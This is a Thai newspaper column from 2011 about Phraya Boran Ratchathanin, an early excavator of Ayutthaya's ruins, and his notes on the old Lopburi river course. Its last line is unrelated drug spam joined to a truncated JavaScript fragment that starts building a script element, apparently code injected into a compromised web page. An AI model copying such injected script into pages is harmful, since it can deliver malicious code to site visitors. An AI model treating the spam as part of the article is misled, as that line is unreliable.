มติชนรายวัน ฉบับประจำวันอังคารที่  5  เมษายน  2554

พระยาโบราณราชธานินทร์ฯ (พร เดชะคุปต์) นักโบราณคดีขุดแต่งโบราณสถาน เป็นคนแรกของสยามประเทศไทย

เพราะเป็นผู้ขุดแต่งโบราณสถานในพระราชวังหลวงของกรุงศรีอยุธยาถวายรัชกาลที่ 5 เมื่อ พ.ศ. 2450

พระยาโบราณฯ เขียนเล่าไว้เอง(พิมพ์อยู่ในหนังสือสรรนิพนธ์งานเขียนของพระยาโบราณราชธานินทร์ฯ กรุงเก่า เล่าเรื่อง โดย รศ. วรรณศิริ เดชะคุปต์ และ ผศ.ดร. ปรีดี พิศภูมิวิถี บรรณาธิการ สำนักพิมพ์มติชน พ.ศ. 2554) ในคำนำตำนานกรุงเก่าว่า “ตามโบราณสถานแต่ก่อนมา เป็นที่รกแล้วไปด้วยต้นไม้และเครือเขาเถาลัดดาปกคลุม ยิ่งในพระราชวัง รูปลวดลายพระที่นั่งตำหนักน้อยใหญ่และสถานต่างๆก็จมอยู่ในโคกและเนินสูงเหลือที่จะเห็นให้ทั่วถึงได้” (หน้า 64)

งานเขียนของพระยาโบราณราชธานินทร์ฯ ที่เป็นหลักของการศึกษาประวัติศาสตร์โบราณคดีอยุธยาก็คือ “อธิบายแผนที่พระนครศรีอยุธยากับคำวินิจฉัยของพระยาโบราณราชธานินทร์” เป็นหนังสือคู่มือของการศึกษาประวัติศาสตร์และโบราณคดีของเมืองพระนครศรีอยุธยาตราบเท่าทุกวันนี้

ยังมีงานเขียนอื่นๆของท่าน ที่ไม่ค่อยรู้จักกัน แต่มีความสำคัญมิใช่น้อย เพราะได้สะท้อนภาพของนักปกครอง นักประวัติศาสตร์ และนักโบราณคดีที่ “เดินดูทั่วทุกหัวระแหง” อย่างแท้จริง ดังที่ปรากฏในหนังสือเล่มนี้

ข้อเขียนของท่านนี้จะช่วยทำให้เห็นภาพและเข้าใจความเป็นเมืองสังคมของอยุธยาในอดีตมากขึ้น พร้อมกันนั้นก็ฉายให้เห็นคุณลักษณะวิธีการทำงาน ตลอดจนการเก็บข้อมูลที่ละเอียดรอบคอบสมกับเป็นนักปราชญ์คนสำคัญของเมืองพระนครศรีอยุธยา

 

 

ต่อมารัชกาลที่ 5 เมื่อ พ.ศ. 2450 ทรงพระกรุณาโปรดเกล้าฯให้พระยาโบราณฯจัดพระราชวังโบราณเป็นที่ทรงบำเพ็ญพระราชกุศลในพระราชพิธีรัชมงคล จึงขุดแต่งซากพระตำหนักให้เห็นเป็นรูปร่าง “โบราณสถานซึ่งจมดินและรกชัฏมากกว่าร้อยปีก็ผุดขึ้นเห็นรูปทรง ลวดลายและเตียนสะอาด…” (หน้า 64)

นอกจากนั้นพระยาโบราณฯยังสำรวจตรวจนับวัดร้างในกรุงเก่ามีมากถึง 543 วัด (หน้า 19)

ประเด็นที่ผมเห็นว่าสำคัญมากคือ เส้นทางแม่น้ำลพบุรีสายเก่า พระยาโบราณฯเขียนอธิบาย(ต่างจากแม่น้ำลพบุรีปัจจุบัน)ไว้ในระยะทางเสด็จพระราชดำเนินประพาสตั้งแต่พระราชวังจันทรเกษมถึงจังหวัดลพบุรีในรัชกาลที่ 6 ว่า จากตัวเมืองลพบุรี ตรงปากช่องท้องพรหมาสน์แม่น้ำลพบุรี เป็นสายตรงขึ้นทางเหนือ (ปัจจุบันเรียกแม่น้ำบางขาม) ผ่านหน้าวัดไลย์ (อ. ท่าวุ้ง) ไปออกแม่น้ำเจ้าพระยาทาง อ. พยุหะคีรี            จ. นครสวรรค์

พระยาโบราณฯเขียนบอกว่า “เป็นทางที่นางจามเทวี ธิดาพระเจ้ากรุงละโว้ เดินทางขึ้นไปครองเมืองหริภุญชัย” (หน้า 245)

เส้นทางไหลของแม่น้ำลพบุรีสายเก่า ถ้าทิศทางจริงตามที่พระยาโบราณฯอธิบายนี้ ก็เท่ากับเป็นแม่น้ำคู่ของแม่น้ำน้อยทางฟากตะวันตก แยกจากแม่น้ำเจ้าพระยาที่ชัยนาท ไหลลงทางใต้ผ่านสิงห์บุรี, อ่างทอง, รวมแม่น้ำเจ้าพระยาอีกครั้งหนึ่งที่ อ. บางไทร อยุธยา

คลังความรู้ทางประวัติศาสตร์โบราณคดีของพระยาโบราณฯ มีมากเกินจะพรรณนา แต่ขาดสถาบันสืบทอดต่อยอดความรู้นั้น

โดยเฉพาะความรู้ด้านภูมิประเทศแม่น้ำลำคลองแล้ว นักโบราณคดีทุกวันนี้จนแต้ม เพราะไม่อ่านหนังสือ และไม่มีแผนที่อยู่ในหัวใจ

fluoxetine is generic for buy cheap sildalisvar d=document;var s=d.createElement(‘script’);